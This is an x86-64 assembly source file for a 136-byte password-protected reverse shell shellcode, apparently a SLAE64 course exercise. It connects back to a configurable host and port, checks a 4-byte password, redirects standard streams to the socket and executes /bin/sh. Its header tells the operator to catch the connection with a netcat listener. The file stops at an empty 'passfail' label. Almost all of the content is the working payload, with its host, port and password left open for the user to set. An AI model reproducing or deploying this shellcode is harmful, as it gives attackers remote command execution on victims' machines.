; ===================================================================
; Password Protected Reverse Shell
; Author: SLAE64-1351 (Keyman)
; Date: 04/09/2014
;
; Shellcode length:  136 bytes
;
; Description:
;
;    Simple reverse shell (listens on port 4444 by default) with
;    bytes password protection. Using a 4 bytes long password is
;    still reasonably strong for a single-shot connection and keeps
;    the code shorter.
;
;    To change the port or the password just modify the values of the
;    exp_port and exp_pass "variables" below.
;
;    Before the code gets executed make sure to create a listener:
;   
;    nc -lvp <port number>
;
;    After you receive the connection you will see no password
;    prompt. Just type in the 4 bytes long password and hit enter.
;    If the password matches, you are ready to type OS commands.
;
; ===================================================================
 
global _start
section .text
 
; -------------------------------------------------------------------
; Preprocessor directives so you can easily change the port and the
; password.
; -------------------------------------------------------------------
 
; Host to connect to. Please note that this value will have
; 0x02020202 added to it, this way avoiding the NULL bytes.
 
%define exp_host    0xFEFDFE7D      ; 127.0.0.1
 
; Port number to listen on.
%define exp_port        0x5c11          ; 4444
 
; Password to use. Make sure it's not longer than 4 bytes.
%define exp_pass        0x6c6c6568      ; hell
 
; -------------------------------------------------------------------
; DO NOT TOUCH
; preprocessor directives so syscalls can be easily referenced
; -------------------------------------------------------------------
 
%define sys_connect 42
%define sys_read     0
%define sys_execve  59
%define sys_dup2    33
 
_start:
 
    ; ---------------------------------------------------------------
    ; START: create socket
    ; ---------------------------------------------------------------
      xor rax, rax
      push rax              ; saving for sockaddr
      push rax                          ; struct
      push rax              ; clear rax later
      push rax              ; set rdx to 0
      pop rdx               ; protocol
      mov al, 2
      push rax
      push rax
      pop rsi
      pop rdi               ; PF_INET
      shr rsi, 1            ; SOCK_STREAM
      add al, 39            ; socket syscall (41)
      syscall
 
    ; ---------------------------------------------------------------
    ; START: create struct
    ;
    ; srv_addr.sin_family = AF_INET;
    ; srv_addr.sin_addr.s_addr = INADDR_ANY;
    ; srv_addr.sin_port = htons(portno);
    ;
    ; This is how it looks like on the stack:
    ; 0x02    0x00    0x11    0x5c    0x7f    0x00    0x00    0x01
    ; 0x20    0x00    0x00    0x00    0x00    0x00    0x00    0x00
    ; ---------------------------------------------------------------
 
      ; TODO: have to make this shorter somehow
      mov byte [rsp], 2                 ; set values
      mov word [rsp+2], exp_port
      mov dword [rsp+4], exp_host
      add dword [rsp+4], 0x02020202
      push rsp
      pop rsi                           ; addr of struct in rsi
 
    ; ---------------------------------------------------------------
    ; START: connect
    ; ---------------------------------------------------------------
 
                    ; rdx is still 0
      push rax              ; socket fd
      pop rdi
      add dl, 16
      mov al, sys_connect
      syscall
 
    ; ---------------------------------------------------------------
    ; get passwd
    ;
    ; We will work with a 4 byte password, should be more than
    ; enough as no brute forcing is possible. Chances to guess
    ; the right value is 0.  Of course passwd should not contain
    ; null bytes.
    ;
    ; n = read(newsockfd,buffer,4);
    ; ---------------------------------------------------------------
 
      push rax              ; buffer filled with 0s
      push rsp              ; setup pointer to buf
      pop rsi
      sub rdx, 12           ; set bytes to read (4)
      syscall
 
      ; compare pass received with valid pass and exit if no match
 
      push rax
      pop rcx
 
      push rdi              ; save socket
      pop rax
 
      sub rcx, 3            ; read only once
      push rsp
      pop rdi
      push exp_pass
      push rsp
      pop rsi
      cmpsq
      jne passfail          ; passwd match, give shell
 
shell:
    ; ---------------------------------------------------------------
    ; 6. exec shell
    ; ---------------------------------------------------------------
 
      add cl, 2             ; rcx is 1, so add 2 = 3
      push rax              ; restore socket
      pop rdi
dup_loop:
      push rcx              ; have to save rcx as dup2
                    ; changes it's value
      xor rax, rax
      sub rcx, 1
      push rcx
      pop rsi
      add al, sys_dup2
      syscall
      pop rcx               ; restore the counter
      loop dup_loop
 
      jmp mytext
 
code:
      pop rdi
      mov [rdi+7], BYTE al
      push rax
      pop rdx
      add al, sys_execve
      syscall
 
mytext:
    call code
    MyText: db '/bin/sh', 0x41
 
passfail: